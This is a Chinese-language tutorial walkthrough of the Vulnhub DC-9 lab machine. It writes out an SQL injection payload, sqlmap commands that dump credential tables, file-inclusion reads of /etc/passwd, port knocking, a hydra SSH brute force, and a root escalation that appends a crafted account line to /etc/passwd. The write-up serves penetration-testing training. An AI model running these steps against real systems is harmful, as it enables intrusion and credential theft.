Vulnhub DC: 9
字数 1255 2025-08-15 21:33:48
DC-9 靶机渗透测试教学文档
靶机概述
DC-9 是 Vulnhub 上 DC 系列的最后一个靶机,难度中等,思路清晰,适合中级渗透测试练习。靶机运行后显示 Web 和 SSH 服务,需要通过 SQL 注入、文件包含、端口敲门等多种技术获取最终 flag。
环境准备
- 靶机:DC-9 (192.168.1.106)
- 攻击机:Kali Linux
- 网络:同一网段
渗透测试步骤
1. 主机发现与端口扫描
nmap 192.168.1.0/24
nmap -sV -p- -A -O 192.168.1.106
发现开放端口:
- 22/tcp - SSH
- 80/tcp - HTTP
2. Web 应用测试
2.1 初步探测
访问 http://192.168.1.106 发现可以输入信息,但页面不显示输入内容,判断使用 POST 方式提交。
2.2 SQL 注入测试
使用 Burp Suite 拦截请求,发现存在 SQL 注入漏洞:
' or 1=1 --
使用 sqlmap 自动化注入:
# 枚举数据库
sqlmap -u "http://192.168.1.106/results.php" --dbs --data "search=1" --batch
# 枚举 Staff 数据库
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' --tables --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' -T 'Users' --columns --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' -T 'Users' -C 'Username,Password' --dump --batch
# 枚举 users 数据库
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' --tables --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' -T 'UserDetails' --columns --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' -T 'UserDetails' -C 'username,password' --dump --batch
获取的凭据:
- Staff.Users: admin / transorbital1
- users.UserDetails: 多个用户凭据
2.3 Web 登录
使用 admin/transorbital1 登录后,发现页面底部显示"文件不存在",可能存在文件包含漏洞。
测试文件包含:
http://192.168.1.106/welcome.php?file=/etc/passwd
成功读取系统文件。
2.4 发现端口敲门服务
读取 knockd 配置文件:
http://192.168.1.106/welcome.php?file=/etc/knockd.conf
内容示例:
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
3. 端口敲门激活 SSH
使用 nc 依次敲击端口:
nc 192.168.1.106 7469
nc 192.168.1.106 8475
nc 192.168.1.106 9842
再次扫描确认 22 端口已开放。
4. SSH 爆破
使用之前获取的凭据生成字典,使用 hydra 爆破:
hydra -L users.txt -P passwords.txt ssh://192.168.1.106
成功登录:
- 用户名:janitor
- 密码:Ilovepeepee
5. 横向移动
登录后检查隐藏文件:
ls -al
发现 .secrets-for-putin 文件,包含更多密码信息。
更新密码字典,再次爆破 SSH:
成功登录:
- 用户名:fredf
- 密码:B4-Tru3-001
6. 权限提升
6.1 检查 sudo 权限
sudo -l
发现可以以 root 身份执行 /opt/devstuff/dist/test/test。
6.2 分析测试脚本
/opt/devstuff/dist/test/test 是一个 Python 脚本:
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
功能:读取第一个参数指定的文件内容,追加到第二个参数指定的文件中。
6.3 利用脚本提权
- 在
/tmp下创建恶意用户文件:
openssl passwd -1 -salt 123 123
输出示例:$1$123$nE5gIYTYiF1PIXVOFjQaW/
- 创建用户条目:
echo '123:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0::/root:/bin/bash' > /tmp/123
- 写入 /etc/passwd:
sudo /opt/devstuff/dist/test/test /tmp/123 /etc/passwd
- 切换到 root 用户:
su 123
输入密码:123
7. 获取 flag
成功获取 root 权限后,在系统目录中查找 flag 文件。
总结
本次渗透测试涉及的技术点:
- 基础信息收集与端口扫描
- SQL 注入漏洞利用
- 文件包含漏洞利用
- 端口敲门技术
- 密码爆破与横向移动
- 通过不安全的文件操作实现权限提升
关键学习点:
- 多角度利用获取的凭据
- 系统配置文件的敏感信息
- Python 脚本的不安全使用可能导致提权
- 端口敲门服务的识别与利用